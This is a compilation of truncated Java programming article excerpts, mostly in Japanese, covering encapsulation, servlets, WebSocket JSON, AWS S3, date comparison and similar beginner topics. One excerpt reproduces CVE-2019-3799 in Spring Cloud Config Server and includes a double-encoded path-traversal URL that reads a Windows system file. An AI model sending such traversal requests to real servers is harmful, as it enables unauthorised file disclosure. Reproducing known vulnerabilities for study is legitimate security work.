- 1. Javaのカプセル化とゲッターとセッター
- 2. 【JavaServlet】千里の道も一歩から 三歩目
- 3. Ruby vs Java: What makes a perfect fit for your custom software?
- 4. WebSocket通信におけるJSONデータの利用方法 (Java , JavaScript)
- 5. ○ヶ月から、○年○ヶ月に変換する
- 6. JavaによるWebアプリケーション構造とプレゼンテーション層における処理の流れ
- 7. HashMap のvalue で値をソートしたい.
- 8. Visual Studio Codespaces を使って Azure Functions の Java アプリケーションの Hello World まで
- 9. Javaで”cls”みたいなことをしたい
- 10. Play Framework 2.8 (Java) からSlackに投稿する
- 11. JavaでAWS S3オブジェクトの削除
- 12. Javaで作る年齢当てゲーム
- 13. Eclipseでビルドした.warファイルをEC2上に配置して実行してみるとUnsupportedClassVersionErrorが出力された
- 14. Javaの参照の仕組み(スタックとヒープ)
- 15. GoogleMapsAPIのJavaSDKを使って、逆GeoCodingの結果を日本語で取得する。
- 16. Gradleでdocker環境を構築する方法 for intelliJ
- 17. java 何度も検索してしまうもの【java初心者】
- 18. CVE-2019-3799 Spring-Cloud-Config-Server 路径穿越/任意文件读取
- 19. Java Hack
- 20. 日付の期間判定・過去未来判定について
Javaのカプセル化とゲッターとセッター
###カプセル化
何人かで開発するとき、自分がクラスを作る際には他の人がそのクラスを使えるように、使ってほしい機能は公開し、クラスの外で使ってほしくない機能は隠すことです。
具体的にはフィールドとメソッドへのアクセスを制限します。
クラスの外部からアクセスできるようにするには「public」を使い、アクセスできないようにするには「private」を使います。
【例】“`
public String name; //クラスの外部からアクセスできます
private String name; //クラスの外部からアクセスできません
“`
###ゲッター
先ほどの「private」で、フィールドにクラスの外からアクセスすることができなくしました。
しかし、「private」でも、クラス内からはアクセスすることができてしまいます。
どうするかというと、フィールドを「private」にし、クラス外からフィールドの値を取得するために、フィールドの値を返すだけのメソッドを定義します。これを**ゲッター**と呼びます。
ゲッターは「getフィールド名」のように命名するのが一般的らしいです。
【JavaServlet】千里の道も一歩から 三歩目
###現在の進行状況
+ 遷移元のjsp(login.jsp)
+ 遷移先のjsp(mypage.jsp)
+ サーブレットクラス(Login)これだけだとまだ動きません
これから遷移元のjspと起動するサーブレットの紐づけを行っていきます
[一歩目でプロジェクトを作成したとき](https://qiita.com/hatopo/items/3cd12bda5d995703c293#%E3%83%97%E3%83%AD%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E4%BD%9C%E3%82%8A%E3%81%BE%E3%81%97%E3%82%87%E3%81%86)に、[web.xmlデプロイメント記述子を生成する]にチェックをつける事で、以下のよ
Ruby vs Java: What makes a perfect fit for your custom software?
Let’s pay attention to the choice between Java and Ruby performance and the long-term prospects for choosing either one.Java and Ruby performance and the long-term prospects for choosing either one.
WebSocket通信におけるJSONデータの利用方法 (Java , JavaScript)
# 背景
チャットアプリ作成を基準とし、サーバー⇔ブラウザ間でのWebSocket通信の記事を書いた。
サーバーをJava、クライアントをjavascriptで実装。[ソケット通信に関する過去記事]
・[JavaとJavaScriptでwebブラウザとのソケット通信①](https://qiita.com/take4eng/items/d0b009c48ee8c3fe420a)
・[JavaとJavaScriptでwebブラウザとのソケット通信②](https://qiita.com/take4eng/items/ca6d25ac9bdd33d6bb67)今回はチャットアプリを改造しつつ、『JSONデータの取扱方法』について学んでいく。
また、『ソケット通信でのJSONデータの送受信』についても学ぶ。## 目的
1. Java、JavaScriptでのJSONの扱い方法を学ぶ。
2. Webソケット通信においてJSONでのデータの送受信方法を学ぶ。
3. JSONを用いてWebソケット通信の複数パスを実現する。## 前提
この記事では主にJSONの扱い方を中心に記述して
○ヶ月から、○年○ヶ月に変換する
#概要
月数から、年数と残りの月数を求める方法です。(Javaで書いてます)“`
35ヶ月は2年11ヶ月です
“`このような感じ。
#変換方法
コードはこんな感じ。
“`YearMonth.java
public class YearMonth{
public static void main(String args[]){
int monthCount = 35;
System.out.println(monthCount + “ヶ月は” + (int)Math.floor(monthCount/12) + “年” + monthCount%12 + “ヶ月です”);
}
}
“`変数monthCountに格納された35ヶ月が、年月に変換されています。
年とヶ月は別々で計算しました。
年の方は、35ヶ月を12ヶ月(1年)で割り、Math.floorで小数点を切り捨て。
そしてそのままだと小数点が.0と付いてしまったので、前に(int)を置いて整数に。ヶ月の方は、35ヶ月から12ヶ月(1年)を割った余りに
JavaによるWebアプリケーション構造とプレゼンテーション層における処理の流れ
##はじめに
新入社員研修において、Javaを用いたWebアプリケーションの開発を行ったので、そこで学んだことを簡単にまとめていきたいと思います。
間違い等も多くあると思いますので、ご指摘してくださると嬉しいです。Webアプリケーションのサーバーサイドにおける処理の流れを中心に取り上げていきます。想定しているサンプルとしては、簡単な1件検索のサンプルになります。
##サーバ間のやりとり
動的なWebページを実装する場合のクライアントとサーバー間における動的な情報のやりとりについて簡単に説明します。まず、クライアントからWebサーバーにリクエストを送信します。このクライアントとWebサーバー間の送受信はHTTPプロトコルによって行われております。動的なWebページを表示する場合、Webサーバー側で何らかの処理(プログラム)を行う必要があります。その処理がWebアプリケーションであり、それをJavaやPHPなどのサーバーサイド言語で実装していくことになります。
今回はJavaでの実装を想定としています。そのアプリケーションを実行するためには、Webサーバーとは別にアプリケーシ
HashMap のvalue で値をソートしたい.
javaでMap(HashMap)をvalueを使ってソートする際のやり方をまとめておきます.
ここでは,B_arrayを使ってA_arrayの値も同時にソートしたい状況を考えています.
HashMapのentry型を持つリストをソートする形なので,TreeMapなど,他のMapでも使えます.#####コード
“`java:Solution.java
import java.util.*;class Solution {
public static void main(String[] args) {
int[] A_array = {1,6,3,10,5};
int[] B_array = {8,21,13,4,5};
tryComperator(A_array, B_array);
}
public static void tryComperator(int[] a, int[] b){
Mapmap = new HashMap
Visual Studio Codespaces を使って Azure Functions の Java アプリケーションの Hello World まで
# 背景
`Visual Studio Codespaces` が登場して、VDIのマシンを立てずとも、`Azure` 上の仮想マシンを使ってのコーディングがやり易くなりました。しかも `Windows`と`Linux`が選択できます。`Visual Studio Code` との連携がシームレス過ぎて感動さえ覚えます。
Visual Studio Codespaces:
https://visualstudio.microsoft.com/ja/services/visual-studio-codespaces/Visual Studio Codespaces – document:
https://docs.microsoft.com/ja-jp/visualstudio/online/overview/what-is-vsonline– 執筆時点 (2020/6/5) は **Public Preview** です!
一方、`Azure Functions` は Serverless で人気のホスティング環境です。
Azure Functions:
https:/
Javaで”cls”みたいなことをしたい
JavaでWindowsの`cls`やLinuxの`clear`みたいなことをしたいときのプログラム。
Javaで外部コマンドを実行するときに、それぞれのコマンドを指定することで、それっぽくしてます。
“`java
/**
* コンソールをクリアする(Windows,Linuxのみ)
*/
public void executeCls(){
// OSの確認
String osName = System.getProperty(“os.name”).toLowerCase();try {
// OSがWindowsの時
if(osName.startsWith(“windows”)) {
new ProcessBuilder(“cmd”, “/c”, “cls”).inheritIO().start().waitFor();
// OSがLinuxの時
}else if(osName.startsWith(“linux”)) {
new ProcessBuilder(“clear”).inheritIO().start().waitFor
Play Framework 2.8 (Java) からSlackに投稿する
# 概要
Play Framework 2.8でSlack APIを使用する方法です。
シンプルな投稿機能の実装をします。SlackのWeb APIを簡単に利用できるSlack公式のJava用クライアントを使います。
公式の記事にある内容をPlay Frameworkで実践しようという趣旨の記事です。
https://slack.dev/java-slack-sdk/guides/ja/web-api-basics# 下準備
### プロジェクトの作成
省略します。
Play FrameworkのJava用テンプレートを使い、空のプロジェクトを用意してください。### 依存性の記述
SlackのWeb APIをJavaで楽に扱うためのクライアントをSlack公式が用意しています。
これを先程作ったプロジェクトにインストールしていきます。↓セットアップについての公式ページ
https://slack.dev/java-slack-sdk/guides/ja/web-api-client-setup公式ページではMavenを使ってプロジェクトにインストールする
JavaでAWS S3オブジェクトの削除
AWS SDK for Javaを利用して、S3オブジェクトの削除ができます。
#1つのオブジェクトの削除
bucket名とオブジェクトキーを指定すれば、指定オブジェクトの削除ができます。“` Java
try {
final AmazonS3 s3 = new AmazonS3Client();
s3.deleteObject(bucket_name, object_key);
} catch (AmazonServiceException e) {
e.printStackTrace();
}
“`
#指定フォルダーにある全てのオブジェクトの削除
bucket名とフォルダー名を指定すれば、指定フォルダーにある全てのオブジェクトの削除ができます。“` Java
try {
final AmazonS3 s3 = new AmazonS3Client();
ObjectListing objListing = s3.listObjects(bucket_name,folder_nm);
List
Javaで作る年齢当てゲーム
# とあるテレビ番組を見ていて
BSで「プロスタ」というScratchを題材にした子供向けプログラミング教育番組が
放送されているのを拝見。
私が見た回の中で、安藤先生という方の年齢を少ない質問数で当ててみようという
コーナーがあったのでその部分を参考にJavaで年齢当てゲームを作ってみました。“`java:Main.java
package andouteacher;import java.util.Random;
import java.util.Scanner;// 安藤先生の年齢を当てるゲームです
// 指定された回答数の中で年齢を当てましょう
// コツは2分探索です
// 効率の良い答え方で候補を絞っていきましょうpublic class Main {
public static void main(String[] args) {
Random rnd = new Random();
int age = rnd.nextInt(80);
int limit = 5;Scanner sc = new Scanner(System.in
Eclipseでビルドした.warファイルをEC2上に配置して実行してみるとUnsupportedClassVersionErrorが出力された
#環境
###実行環境
AWS EC2 t2.micro
Amazon Linux 2
Apache Tomcat/9.0.34
“`shell
# java -version
openjdk version “1.8.0_252-debug”
OpenJDK Runtime Environment (build 1.8.0_252-debug-b09)
OpenJDK 64-Bit Server VM (build 25.252-b09-debug, mixed mode)# javac -version
javac 1.8.0_252-debug
“`###ビルド環境(ローカル環境)
Windows10
Eclipse 2020-03
Javaの参照の仕組み(スタックとヒープ)自社の後輩にJavaの参照の仕組みをスタック領域とJavaヒープ領域を用いて説明する機会がありました。
自分自身、この領域同士の関係性をまだ知らなかった頃はJavaの参照について色々と混乱していた記憶があります。
良い機会なので記事にまとめてみようと思います。## Javaの参照を実現する仕組み
Javaの参照を実現する為にJVMにはスタック領域とJavaヒープ領域が存在します。
この2つの領域によりJavaの参照は実現されます。|領域名|概要|
|:—:|:—|
|スタック領域|主にヒープ領域への参照情報を保持します。またプリミティブ型の値も保持します。|
|JAVAヒープ領域|オブジェクトの実際の値はこちらのメモリに保持します。|## オブジェクトとプリミティブ型の値の保持方法の違い
Javaのオブジェクト(Classや配列など)はスタック領域にヒープ領域の参照情報を持ちます。
実際の値はヒープ領域に保持します。
GoogleMapsAPIのJavaSDKを使って、逆GeoCodingの結果を日本語で取得する。# はじめに
GoogleMapsAPIを使って、緯度経度から住所を取得する処理を書きました。
GoogleからJavaのSDKが提供されています。
日本語で住所を返す設定のメモ書きです。# JavaのSDK
– Java Client for Google Maps Serviceshttps://github.com/googlemaps/google-maps-services-java
# ソースコード
“`java
public String reverceGeocoding(double lat, double lon) {
LatLng latlng = new LatLng(lat, lon);GeoApiContext context = new GeoApiContext.Builder().apiKey(apikey).build();
GeocodingApiRequest request = GeocodingApi.reverseGeocode(context, latlng).lanGradleでdocker環境を構築する方法 for intelliJ
[spring-boot-doma2-sample](https://github.com/miyabayt/spring-boot-doma2-sample)リポジトリを参考にしました。
**build.gradle**を新しい書き方にしました。## Spring Initializr
まずは下記のサイトでspringアプリケーションを作成します。
https://start.spring.io/### アプリケーションで使用するプラグインをDependenciesに追加します。
– Spring boot DevTools
– Spring Web
– Thymeleaf
– Spring Data JDBC
– Flyway Migration
– MySQL Driver最後に下部にある*GENERATE*をクリックし、ダウンロードされzipファイルを解凍して適当なディレクト名に変更します。
![スクリーンショット 2020-06-01 22.51.44.png](https://qiita-image-store.s3.ap-northeast-1.amaz
java 何度も検索してしまうもの【java初心者】
####随時追加予定.
###1, length の取り方
###### int 配列
“` java
int [] intArray = {1,2,3,4,5};
System.out.println(intArray.length);
“`###### 出力: 5
###### String 文字列
“` java
String text = “text”;
System.out.println(text.length());
“`
###### 出力: 4###### StringBuilder型 文字列
“` java
StringBuilder sb = new StringBuilder();
sb.append(“text”);
System.out.println(sb.length());
“`
###### 出力: 4###2, 型変換
###### String >> int 変換
“`java
String StringA = “0”;
int intA = Integer.parseInt(StringA);
“`
#
CVE-2019-3799 Spring-Cloud-Config-Server 路径穿越/任意文件读取
## 复现
idea创建一个spring项目,然后pom.xml中加入“`xml
org.springframework.cloud
spring-cloud-config-server
2.0.2.RELEASE
“`
配置application.properties“`
server.port=8888
spring.cloud.config.server.git.uri=https://github.com/SukaraLin/awesome-cve-poc.git
“`然后访问
`http://127.0.0.1:8888/aaa/bbb/master/..%252F..%252F..%252F..%252F..%252F..%252Fwindows/win.ini`
![image.png](https://qiita-image-store.s3.ap-
Java Hack
#Java Hackとは
Javaのいわゆる案件に入るための準備
#Javaはお金になるし、面白い案件に入れると(信じる)
← 作ってからkotlinにすることもできると思われる。
#コンテンツ
・Javaそのもの
・Spring
・SQL
・DB周り
・ネットワーク
・シラバス作成
#Javaそのもの
教材を使う。
#Spring
APIから作り上げていく。
#SQL
Progate道場コースまで完了
https://prog-8.com/languages/sql
・ポートフォリオの事前準備中に強化と情報収集を行う。
#DB周り その他
#シラバス
日付の期間判定・過去未来判定について
# 結論
ミリ秒にして大小判定するのマジおすすめ
※Javaを例にしていますが、どの言語でも同じ話です※良い子のみんなは、java.util.Dateなんて使わずに[Joda-Time](https://www.joda.org/joda-time/)つかうか、Java 1.8以降ならTime APIを使おうネ)
**※ただの参考コードです。Dateクラスの非推奨コンストラクタ使うのやめようね**
“`java
Date nowDate= new Date();
// 2020/4/1 00:00:00 ~2020/4/30 23:59:59 の場合に「キャンペーン期間中だよ」と出力
if (nowDate.getTime() >= new Date(2020, 3, 1, 0, 0, 0).getTime()
&& nowDate.getTime() < new Date(2020, 4, 1, 0, 0, 0).getTime()) { System.out.println("キャンペーン期間中だよ"); } ``` # 言い訳 皆さんは、J